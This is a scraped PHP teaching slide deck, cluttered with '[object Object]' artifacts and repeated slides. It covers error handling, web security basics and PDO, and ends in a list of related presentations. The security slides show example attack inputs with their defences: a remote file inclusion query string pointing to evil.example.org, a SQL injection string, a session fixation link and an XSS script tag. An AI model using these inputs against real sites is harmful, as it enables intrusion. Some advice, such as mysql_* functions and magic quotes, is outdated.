2. Suppressing Errors,[object Object],The special @ operator can be used to suppress function errors. ,[object Object],Any error produced by the function is suppressed and not displayed by PHP regardless of the error reporting setting.,[object Object]
2. Suppressing Errors,[object Object],$db = @mysql_connect($h,$u,$p);,[object Object],if (!$db) {,[object Object],trigger_error(‘blah’,E_USER_ERROR);,[object Object],},[object Object]
2. Suppressing Errors,[object Object],$db = @mysql_connect($h,$u,$p);,[object Object],if (!$db) {,[object Object],trigger_error(blah.',E_USER_ERROR);,[object Object],},[object Object],$db = @mysql_connect($h,$u,$p);,[object Object],Attempt to connect to database. Suppress error notice if it fails..,[object Object]
2. Suppressing Errors,[object Object],$db = @mysql_connect($h,$u,$p);,[object Object],if (!$db) {,[object Object],trigger_error(blah.',E_USER_ERROR);,[object Object],},[object Object],Since error is suppressed, it must be handled gracefully somewhere else..,[object Object],if (!$db) {,[object Object],trigger_error(‘blah’,E_USER_ERROR);,[object Object],},[object Object]
2. Suppressing Errors,[object Object],Error suppression is NOT a solution to a problem.,[object Object],It can be useful to locally define your own error handling mechanisms.,[object Object],If you suppress any errors, you must check for them yourself elsewhere.,[object Object]
3. Custom Error Handler,[object Object],You can write your own function to handle PHP errors in any way you want. ,[object Object],You simply need to write a function with appropriate inputs, then register it in your script as the error handler.,[object Object],The handler function should be able to receive 4 arguments, and return true to indicate it has handled the error…,[object Object]
3. Custom Error Handler,[object Object],function err_handler(,[object Object],	$errcode,$errmsg,$file,$lineno) {,[object Object],echo‘An error has occurred!<br />’;,[object Object],echo“file: $file<br />”;,[object Object],echo“line: $lineno<br />”;,[object Object],echo“Problem: $errmsg”;,[object Object],return true;,[object Object],},[object Object]
3. Custom Error Handler,[object Object],function err_handler(,[object Object],	$errcode,$errmsg,$file,$lineno) {,[object Object],echo‘An error has occurred!<br />’;,[object Object],echo“file: $file<br />”;,[object Object],echo“line: $lineno<br />”;,[object Object],echo“Problem: $errmsg”;,[object Object],return true;,[object Object],},[object Object],$errcode,$errmsg,$file,$lineno) {,[object Object],The handler must have 4 inputs..,[object Object],error code,[object Object],error message,[object Object],file where error occurred,[object Object],line at which error occurred,[object Object]
3. Custom Error Handler,[object Object],function err_handler(,[object Object],	$errcode,$errmsg,$file,$lineno) {,[object Object],echo‘An error has occurred!<br />’;,[object Object],echo“file: $file<br />”;,[object Object],echo“line: $lineno<br />”;,[object Object],echo“Problem: $errmsg”;,[object Object],return true;,[object Object],},[object Object],echo‘An error has occurred!<br />’;,[object Object],echo“file: $file<br />”;,[object Object],echo“line: $lineno<br />”;,[object Object],echo“Problem: $errmsg”;,[object Object],Any PHP statements can be ,[object Object],executed…,[object Object]
3. Custom Error Handler,[object Object],function err_handler(,[object Object],	$errcode,$errmsg,$file,$lineno) {,[object Object],echo‘An error has occurred!<br />’;,[object Object],echo“file: $file<br />”;,[object Object],echo“line: $lineno<br />”;,[object Object],echo“Problem: $errmsg”;,[object Object],return true;,[object Object],},[object Object],Return true to let PHP know,[object Object],that the custom error handler,[object Object],has handled the error OK.,[object Object],return true;,[object Object]
3. Custom Error Handler,[object Object],The function then needs to be registered as your custom error handler:,[object Object],set_error_handler(‘err_handler’);,[object Object],You can ‘mask’ the custom error handler so it only receives certain types of error. e.g. to register a custom handler just for user triggered errors:,[object Object],set_error_handler(‘err_handler’,,[object Object],		E_USER_NOTICE | E_USER_WARNING | E_USER_ERROR);,[object Object]
3. Custom Error Handler,[object Object],A custom error handler is never passed E_PARSE, E_CORE_ERROR or E_COMPILE_ERROR errors as these are considered too dangerous.,[object Object],Often used in conjunction with a ‘debug’ flag for neat combination of debug and production code display..,[object Object],See class example error5.php,[object Object]
Review,[object Object],Various different error types exist in PHP. ,[object Object],The error handling system is highly flexible, and your own error handling methods can be developed.,[object Object]
PHP Security,[object Object]
Two Golden Rules,[object Object],FILTER external input,[object Object],[object Object]
Less obvious.. $_SERVERESCAPE output,[object Object],[object Object]
MYSQL database,[object Object]
Filtering,[object Object],Process by which you inspect data to prove its validity.,[object Object],Adopt a whitelist approach if possible: assume the data is invalid unless you can prove otherwise.,[object Object],Useless unless you can keep up with what has been filtered and what hasn’t… ,[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],$clean = array();,[object Object],Initialise an array to store filtered data.,[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],if (ctype_alnum($_POST['username'])),[object Object],Inspect username to make sure that it is alphanumeric.,[object Object]
Filter example,[object Object],$clean = array();,[object Object],if (ctype_alnum($_POST['username'])),[object Object],{,[object Object],$clean['username'] = $_POST['username'];,[object Object],},[object Object],$clean['username'] = $_POST['username'];,[object Object],If it is, store it in the array.,[object Object]
Escaping Output,[object Object],Process by which you escape characters that have a special meaning on a remote system.,[object Object],Unless you’re sending data somewhere unusual, there is probably a function that does this for you..,[object Object],The two most common outputs are xhtml to the browser (use htmlentities()) or a MYSQL db (use mysql_real_escape_string()).,[object Object]
Escape example,[object Object],$xhtml = array();,[object Object],$xhtml['username'] = htmlentities($clean['username'],,[object Object],ENT_QUOTES,,[object Object],'UTF-8');,[object Object],echo"<p>Welcome back, {$xhtml['username']}.</p>";,[object Object]
Escape example,[object Object],$xhtml = array();,[object Object],$xhtml['username'] = htmlentities($clean['username'],,[object Object],ENT_QUOTES,,[object Object],'UTF-8');,[object Object],echo"<p>Welcome back, {$xhtml['username']}.</p>";,[object Object],$xhtml = array();,[object Object],Initialize an array for storing escaped data.,[object Object]
Escape example,[object Object],$xhtml = array();,[object Object],$xhtml['username'] = htmlentities($clean['username'],,[object Object],ENT_QUOTES,,[object Object],'UTF-8');,[object Object],echo"<p>Welcome back, {$xhtml['username']}.</p>";,[object Object],$xhtml['username'] = htmlentities($clean['username'],,[object Object],ENT_QUOTES,,[object Object],'UTF-8');,[object Object],Escape the filtered username, and store it in the array.,[object Object]
Escape example,[object Object],$xhtml = array();,[object Object],$xhtml['username'] = htmlentities($clean['username'],,[object Object],ENT_QUOTES,,[object Object],'UTF-8');,[object Object],echo"<p>Welcome back, {$xhtml['username']}.</p>";,[object Object],echo"<p>Welcome back, {$xhtml['username']}.</p>";,[object Object],Send the filtered and escaped username to the client.,[object Object]
That’s it!,[object Object],If you follow these rules religiously, you will produce secure code that is hard to break.,[object Object],If you don’t, you will be susceptible to..,[object Object],	Next: COMMON ATTACK METHODS,[object Object]
Register Globals: Eh?,[object Object],All superglobal variable array indexes are available as variable names..,[object Object],	e.g. in your scripts:,[object Object],$_POST[‘name’] is available as $name,[object Object],	$_COOKIE[‘age’] is available as $age,[object Object],Most PHP installations have this option turned off, but you should make sure your code is secure if it is turned on.,[object Object]
Register Globals: Example,[object Object],<?phpinclude"$path/script.php"; ?>,[object Object],	If you forget to initialise $path, and have register_globals enabled, the page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:,[object Object],include'http://evil.example.org/?/script.php';,[object Object],	i.e. a malicious user can include any script in your code..,[object Object]
Register Globals: Solution,[object Object],Be aware that with register globals on, any user can inject a variable of any name into your PHP scripts.,[object Object],ALWAYS EXPLICITLY INITIALISE YOUR OWN VARIABLES!,[object Object]
Spoofed Forms: Eh?,[object Object],Be aware that anybody can write their own forms and submit them to your PHP scripts. ,[object Object],For example, using a select, checkbox or radio button form input does not guarantee that the data submitted will be one of your chosen options…,[object Object]
Spoofed Forms: Example,[object Object],The form written by a web developer to be submitted to a page:,[object Object],<form action="/process.php" method="POST"> ,[object Object],	<select name="colour"> ,[object Object],		<option value="red">red</option> ,[object Object],		<option value="green">green</option> ,[object Object],		<option value="blue">blue</option> ,[object Object],	</select> ,[object Object],	<input type="submit" /> ,[object Object],</form> ,[object Object],The user writes their own form to submit to the same page:,[object Object],<form action="http://example.org/process.php" method="POST">,[object Object],	<input type="text" name="colour" /> ,[object Object],	<input type="submit" /> ,[object Object],</form>,[object Object]
Spoofed Forms: Solution,[object Object],Users can submit whatever they like to your PHP page… and it will be accepted as long as it conforms to your rules.,[object Object],Make sure all your rules are checked by the PHP external data filter, don’t rely on a form to exert rules for you.. They can be changed!,[object Object]
Session Fixation: Eh?,[object Object],Session attacks nearly always involve impersonation – the malicious user is trying to ‘steal’ someone else’s session on your site.,[object Object],The crucial bit of information to obtain is the session id, and session fixation is a technique of stealing this id.,[object Object]
Session Fixation: Eh?,[object Object],1. The malicious user hosts a page with links to your site/emails around spam links to your site with a session id already set. ,[object Object],… <a href=“http://example.com/index.php?PHPSESSID=1234” …,[object Object]
Session Fixation: Eh?,[object Object],2. A client follows one of these links and is directed to your site, where they login.,[object Object],3. Now.. the malicious user knows the session id (he/she set it!), and can ‘hijack’ the session by browsing to your site using the same session id.,[object Object],4. Malicious user is now logged in as one of your legitimate clients. Ooops.,[object Object]
Session Fixation: Solution,[object Object],To protect against this type of attack, first consider that hijacking a session is only really useful after the user has logged in or otherwise obtained a heightened level of privilege.,[object Object],If we regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack. ,[object Object]
Session Fixation: Solution,[object Object],session_regenerate_id(),[object Object],	Conveniently, PHP has a function that does all the work for you, and regenerates the session id. Regenerate the session id using this function before any change in privilege level.,[object Object]
SQL Injection: Eh?,[object Object],The goal of SQL injection is to insert arbitrary data, most often a database query, into a string that’s eventually executed by the database.,[object Object]
SQL Injection: Example,[object Object],Consider this query executed in PHP on a MYSQL db, where the email text has been submitted from the user:,[object Object],“SELECT * FROM members ,[object Object],	 WHERE email = ‘{$_POST[‘email’]}’”,[object Object]
SQL Injection: Example,[object Object],The use of $_POST[..] in the query should immediately raise warning flags. ,[object Object],Consider if a user submitted the following email: dummy’ OR ‘x’=‘x,[object Object],The query now becomes,,[object Object],SELECT * FROM members ,[object Object],WHERE email = ‘dummy’ OR ‘x’=‘x’,[object Object],	..which will return the details of all members!,[object Object]
SQL Injection: Solution,[object Object],Filter input data.,[object Object],Quote your data. If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.,[object Object],Escape your data. For a MySQL db, use the function mysql_real_escape_string(),[object Object]
Accessing Credentials,[object Object],Sometimes you need to store sensitive data on your server such as database passwords, usernames, etc. ,[object Object],There are various options…,[object Object]
Accessing Credentials,[object Object],Don’t store passwords in an included file without a *.php extension but in a web accessible directory…!,[object Object],You can store in a *.php file under the root (i.e. web accessible). OK, but not great. If your PHP parse engine fails, this data will be on plain view to the entire world.,[object Object],Better, is to keep as much code as possible, including definition of passwords, in included files outside of the web accessible directories.,[object Object],With an Apache server, there are various techniques to include passwords and usernames as environment variables, accessed in PHP by the $_SERVER superglobal.,[object Object],worst,[object Object],best,[object Object]
Cross-Site Scripting (XSS),[object Object],This is a good example of why you should always escape all output, even for xhtml…,[object Object],echo"<p>Welcome back, {$_GET['username']}.</p>";,[object Object],echo"<p>Welcome back, <script>...</script>.</p>";,[object Object]
XXS: The Solution,[object Object],And again..,[object Object],Filter input.,[object Object],Escape Output.,[object Object],Be especially careful if you are writing user input to a file, which is later included into your page.. Without checking, the user can then write their own PHP scripts for inclusion.,[object Object]
The ‘magic’ of PHP,[object Object],Recent versions of PHP have gone some way to tightening security, and one of the newer things is ‘magic quotes’. If turned on, this automatically escapes quotation marks and backslashes in any incoming data.,[object Object],Although useful for beginners, it cannot be relied upon if you want to write portable code.,[object Object],http://docs.php.net/en/security.magicquotes.html,[object Object]
The ‘magic’ of PHP: banished!,[object Object],To know where you are starting from, you can use the get_magic_quotes_gpc() function to tell if they are on or off.,[object Object],To start from a consistent point, use stripslashes() to remove any escape characters added by ‘magic quotes’.,[object Object],	e.g.,[object Object],if (get_magic_quotes_gpc()) {,[object Object],	$thing = stripslashes($_POST[‘thing’]);,[object Object],	},[object Object]
Phew.. But don’t panic!,[object Object],Open Source PHP code needs to be rock solid in terms of security, as everyone can look through the code.,[object Object],In your bespoke solutions, malicious users will have to try to guess.. Much harder!,[object Object]
Review,[object Object],Filter Input ,[object Object],+,[object Object],Escape Output,[object Object],=,[object Object],Secure Code,[object Object]
PHP Data Object (PDO),[object Object]
What is PDO? ,[object Object],PDO is a PHP extension to formalise PHP's database connections by creating a uniform interface. This allows developers to create code which is portable across many databases and platforms.,[object Object],PDO is not just another abstraction layer like PEAR DB or ADOdb. ,[object Object]
Why use PDO? ,[object Object],Portability,[object Object],Performance,[object Object],Power,[object Object],Easy ,[object Object],Runtime Extensible,[object Object]
What databases does it support?,[object Object],Microsoft SQL Server / Sybase ,[object Object],Firebird / Interbase,[object Object],DB2 / INFORMIX (IBM) ,[object Object],MySQL,[object Object],OCI (Oracle Call Interface),[object Object],ODBC,[object Object],PostgreSQL ,[object Object],SQLite,[object Object]
DSNs,[object Object],In general,[object Object],drivername:<driver-specific-stuff>,[object Object],mysql:host=name;dbname=dbname,[object Object],odbc:odbc_dsn,[object Object],oci:dbname=dbname;charset=charset,[object Object],sqlite:/path/to/db/file,[object Object],sqlite::memory:,[object Object]
Connect to MySQL,[object Object]
Connect to SQLite (file),[object Object]
Connect to SQLite (memory),[object Object]
Connect to Oracle,[object Object]
Connect to ODBC,[object Object]
Close a Database Connection,[object Object]
Persistent PDO Connection,[object Object],Connection stays alive between requests,[object Object],$dbh = new PDO($dsn, $user, $pass,,[object Object],		array(,[object Object],  			PDO_ATTR_PERSISTENT => true,[object Object],		),[object Object],);,[object Object]
PDO Query (INSERT),[object Object]
PDO Query (UPDATE),[object Object]
PDO Query (SELECT),[object Object]
Error Handling (1),[object Object]
Error Handling (2),[object Object]
Error Handling (3),[object Object]

Recommended

More Related Content

What's hot

Jquery Complete Presentation along with Javascript Basics
Jquery Complete Presentation along with Javascript BasicsJquery Complete Presentation along with Javascript Basics
Jquery Complete Presentation along with Javascript BasicsEPAM Systems
 
PHP Workshop Notes
PHP Workshop NotesPHP Workshop Notes
PHP Workshop NotesPamela Fox
 
Best practices for RESTful web service design
Best practices for RESTful web service designBest practices for RESTful web service design
Best practices for RESTful web service designRamin Orujov
 
PHP 8.1 - What's new and changed
PHP 8.1 - What's new and changedPHP 8.1 - What's new and changed
PHP 8.1 - What's new and changedAyesh Karunaratne
 
Javascript variables and datatypes
Javascript variables and datatypesJavascript variables and datatypes
Javascript variables and datatypesVarun C M
 
Introduction to php
Introduction to phpIntroduction to php
Introduction to phpAnjan Banda
 
JavaScript Tutorial
JavaScript  TutorialJavaScript  Tutorial
JavaScript TutorialBui Kiet
 
REST API Design & Development
REST API Design & DevelopmentREST API Design & Development
REST API Design & DevelopmentAshok Pundit
 
JavaScript - An Introduction
JavaScript - An IntroductionJavaScript - An Introduction
JavaScript - An IntroductionManvendra Singh
 
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...Edureka!
 
JavaScript Programming
JavaScript ProgrammingJavaScript Programming
JavaScript ProgrammingSehwan Noh
 

What's hot (20)

Html5 semantics
Html5 semanticsHtml5 semantics
Html5 semantics
 
jQuery for beginners
jQuery for beginnersjQuery for beginners
jQuery for beginners
 
Php and MySQL
Php and MySQLPhp and MySQL
Php and MySQL
 
Php Presentation
Php PresentationPhp Presentation
Php Presentation
 
Jquery Complete Presentation along with Javascript Basics
Jquery Complete Presentation along with Javascript BasicsJquery Complete Presentation along with Javascript Basics
Jquery Complete Presentation along with Javascript Basics
 
PHP Workshop Notes
PHP Workshop NotesPHP Workshop Notes
PHP Workshop Notes
 
Best practices for RESTful web service design
Best practices for RESTful web service designBest practices for RESTful web service design
Best practices for RESTful web service design
 
PHP 8.1 - What's new and changed
PHP 8.1 - What's new and changedPHP 8.1 - What's new and changed
PHP 8.1 - What's new and changed
 
Javascript variables and datatypes
Javascript variables and datatypesJavascript variables and datatypes
Javascript variables and datatypes
 
Introduction to php
Introduction to phpIntroduction to php
Introduction to php
 
JavaScript Tutorial
JavaScript  TutorialJavaScript  Tutorial
JavaScript Tutorial
 
Javascript
JavascriptJavascript
Javascript
 
REST API Design & Development
REST API Design & DevelopmentREST API Design & Development
REST API Design & Development
 
Control Structures In Php 2
Control Structures In Php 2Control Structures In Php 2
Control Structures In Php 2
 
JavaScript - An Introduction
JavaScript - An IntroductionJavaScript - An Introduction
JavaScript - An Introduction
 
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
jQuery Tutorial For Beginners | Developing User Interface (UI) Using jQuery |...
 
Javascript Basic
Javascript BasicJavascript Basic
Javascript Basic
 
Javascript
JavascriptJavascript
Javascript
 
JavaScript Programming
JavaScript ProgrammingJavaScript Programming
JavaScript Programming
 
Php Tutorials for Beginners
Php Tutorials for BeginnersPhp Tutorials for Beginners
Php Tutorials for Beginners
 

Viewers also liked

SQL Tutorial for Marketers
SQL Tutorial for MarketersSQL Tutorial for Marketers
SQL Tutorial for MarketersJustin Mares
 
Wireframes - a brief overview
Wireframes - a brief overviewWireframes - a brief overview
Wireframes - a brief overviewJenni Leder
 
How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingDigital Marketer
 
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueStop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueJosh Patrice
 
Using Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingUsing Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingSean Ellis
 
Optimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelOptimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelHubSpot
 
The Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonThe Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonMackenzie Fogelson
 
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneBiz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneScott Pollack
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprOnboardly
 
The Science of Marketing Automation
The Science of Marketing AutomationThe Science of Marketing Automation
The Science of Marketing AutomationHubSpot
 
Google Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementGoogle Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementOrbit Media Studios
 
Some Advanced Remarketing Ideas
Some Advanced Remarketing IdeasSome Advanced Remarketing Ideas
Some Advanced Remarketing IdeasChris Thomas
 
Lean Community Building: Getting the Most Bang for Your Time & Money
Lean Community Building: Getting the Most Bang for  Your Time & MoneyLean Community Building: Getting the Most Bang for  Your Time & Money
Lean Community Building: Getting the Most Bang for Your Time & MoneyJennifer Lopez
 
The Science behind Viral marketing
The Science behind Viral marketingThe Science behind Viral marketing
The Science behind Viral marketingDavid Skok
 
Understand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesUnderstand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesTheFamily
 
LinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn
 
How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling Elle Shelley
 

Viewers also liked (20)

SQL Tutorial for Marketers
SQL Tutorial for MarketersSQL Tutorial for Marketers
SQL Tutorial for Marketers
 
Wireframes - a brief overview
Wireframes - a brief overviewWireframes - a brief overview
Wireframes - a brief overview
 
How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook Retargeting
 
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueStop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
 
Using Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingUsing Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo Testing
 
Optimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelOptimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing Funnel
 
The Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonThe Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack Fogelson
 
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneBiz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startuppr
 
The Science of Marketing Automation
The Science of Marketing AutomationThe Science of Marketing Automation
The Science of Marketing Automation
 
Google Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementGoogle Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for Measurement
 
Some Advanced Remarketing Ideas
Some Advanced Remarketing IdeasSome Advanced Remarketing Ideas
Some Advanced Remarketing Ideas
 
Lean Community Building: Getting the Most Bang for Your Time & Money
Lean Community Building: Getting the Most Bang for  Your Time & MoneyLean Community Building: Getting the Most Bang for  Your Time & Money
Lean Community Building: Getting the Most Bang for Your Time & Money
 
The Science behind Viral marketing
The Science behind Viral marketingThe Science behind Viral marketing
The Science behind Viral marketing
 
Intro to Facebook Ads
Intro to Facebook AdsIntro to Facebook Ads
Intro to Facebook Ads
 
Intro to Mixpanel
Intro to MixpanelIntro to Mixpanel
Intro to Mixpanel
 
Understand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesUnderstand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakes
 
LinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master Class
 
HTML & CSS Masterclass
HTML & CSS MasterclassHTML & CSS Masterclass
HTML & CSS Masterclass
 
How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling
 

Similar to PHP Powerpoint -- Teach PHP with this

P H P Part I, By Kian
P H P  Part  I,  By  KianP H P  Part  I,  By  Kian
P H P Part I, By Kianphelios
 
Lecture 2 php basics (1)
Lecture 2  php basics (1)Lecture 2  php basics (1)
Lecture 2 php basics (1)Core Lee
 
Introduction to Perl
Introduction to PerlIntroduction to Perl
Introduction to PerlDave Cross
 
Introduction to Perl - Day 1
Introduction to Perl - Day 1Introduction to Perl - Day 1
Introduction to Perl - Day 1Dave Cross
 
Introduction To Php For Wit2009
Introduction To Php For Wit2009Introduction To Php For Wit2009
Introduction To Php For Wit2009cwarren
 
Beginning Perl
Beginning PerlBeginning Perl
Beginning PerlDave Cross
 
PHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and requirePHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and requireTheCreativedev Blog
 
Perl courseparti
Perl coursepartiPerl courseparti
Perl coursepartiernlow
 
What Is Php
What Is PhpWhat Is Php
What Is PhpAVC
 
The Java Script Programming Language
The  Java Script  Programming  LanguageThe  Java Script  Programming  Language
The Java Script Programming Languagezone
 
The JavaScript Programming Language
The JavaScript Programming LanguageThe JavaScript Programming Language
The JavaScript Programming LanguageRaghavan Mohan
 
Les origines de Javascript
Les origines de JavascriptLes origines de Javascript
Les origines de JavascriptBernard Loire
 
Javascript by Yahoo
Javascript by YahooJavascript by Yahoo
Javascript by Yahoobirbal
 

Similar to PHP Powerpoint -- Teach PHP with this (20)

P H P Part I, By Kian
P H P  Part  I,  By  KianP H P  Part  I,  By  Kian
P H P Part I, By Kian
 
Lecture 2 php basics (1)
Lecture 2  php basics (1)Lecture 2  php basics (1)
Lecture 2 php basics (1)
 
Introduction to Perl
Introduction to PerlIntroduction to Perl
Introduction to Perl
 
Introduction to Perl - Day 1
Introduction to Perl - Day 1Introduction to Perl - Day 1
Introduction to Perl - Day 1
 
Introduction To Php For Wit2009
Introduction To Php For Wit2009Introduction To Php For Wit2009
Introduction To Php For Wit2009
 
Beginning Perl
Beginning PerlBeginning Perl
Beginning Perl
 
Perl Introduction
Perl IntroductionPerl Introduction
Perl Introduction
 
php_string.pdf
php_string.pdfphp_string.pdf
php_string.pdf
 
PHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and requirePHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and require
 
unit 1.pptx
unit 1.pptxunit 1.pptx
unit 1.pptx
 
Perl courseparti
Perl coursepartiPerl courseparti
Perl courseparti
 
What Is Php
What Is PhpWhat Is Php
What Is Php
 
Perl Presentation
Perl PresentationPerl Presentation
Perl Presentation
 
Javascript
JavascriptJavascript
Javascript
 
Php Learning show
Php Learning showPhp Learning show
Php Learning show
 
The Java Script Programming Language
The  Java Script  Programming  LanguageThe  Java Script  Programming  Language
The Java Script Programming Language
 
The JavaScript Programming Language
The JavaScript Programming LanguageThe JavaScript Programming Language
The JavaScript Programming Language
 
Les origines de Javascript
Les origines de JavascriptLes origines de Javascript
Les origines de Javascript
 
Javascript by Yahoo
Javascript by YahooJavascript by Yahoo
Javascript by Yahoo
 
Javascript
JavascriptJavascript
Javascript
 

Recently uploaded

Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024
Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024
Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024BookNet Canada
 
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlue
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlueCloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlue
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlueShapeBlue
 
AI-Plugins-Planners-Persona-SemanticKernel.pptx
AI-Plugins-Planners-Persona-SemanticKernel.pptxAI-Plugins-Planners-Persona-SemanticKernel.pptx
AI-Plugins-Planners-Persona-SemanticKernel.pptxUdaiappa Ramachandran
 
Enterprise Architecture As Strategy - Book Review
Enterprise Architecture As Strategy - Book ReviewEnterprise Architecture As Strategy - Book Review
Enterprise Architecture As Strategy - Book ReviewAshraf Fouad
 
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...2toLead Limited
 
eXtended Reality(XR) Basic introductions
eXtended Reality(XR) Basic introductionseXtended Reality(XR) Basic introductions
eXtended Reality(XR) Basic introductionsElanthirayan Madhavan
 
Establishing data sharing standards to promote global industry development
Establishing data sharing standards to promote global industry developmentEstablishing data sharing standards to promote global industry development
Establishing data sharing standards to promote global industry developmentThorsten Huelsmann
 
Low Latency at Extreme Scale: Proven Practices & Pitfalls
Low Latency at Extreme Scale: Proven Practices & PitfallsLow Latency at Extreme Scale: Proven Practices & Pitfalls
Low Latency at Extreme Scale: Proven Practices & PitfallsScyllaDB
 
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...SearchNorwich
 
Q4 2023 Quarterly Investor Presentation - FINAL.pdf
Q4 2023 Quarterly Investor Presentation - FINAL.pdfQ4 2023 Quarterly Investor Presentation - FINAL.pdf
Q4 2023 Quarterly Investor Presentation - FINAL.pdfTejal81
 
iOncologi_Pitch Deck_2024 slide show for hostinger
iOncologi_Pitch Deck_2024 slide show for hostingeriOncologi_Pitch Deck_2024 slide show for hostinger
iOncologi_Pitch Deck_2024 slide show for hostingerssuser9354ce
 
Centralized TLS Certificates Management Using Vault PKI + Cert-Manager
Centralized TLS Certificates Management Using Vault PKI + Cert-ManagerCentralized TLS Certificates Management Using Vault PKI + Cert-Manager
Centralized TLS Certificates Management Using Vault PKI + Cert-ManagerSaiLinnThu2
 
AI improves software testing to be more fault tolerant, focused and efficient
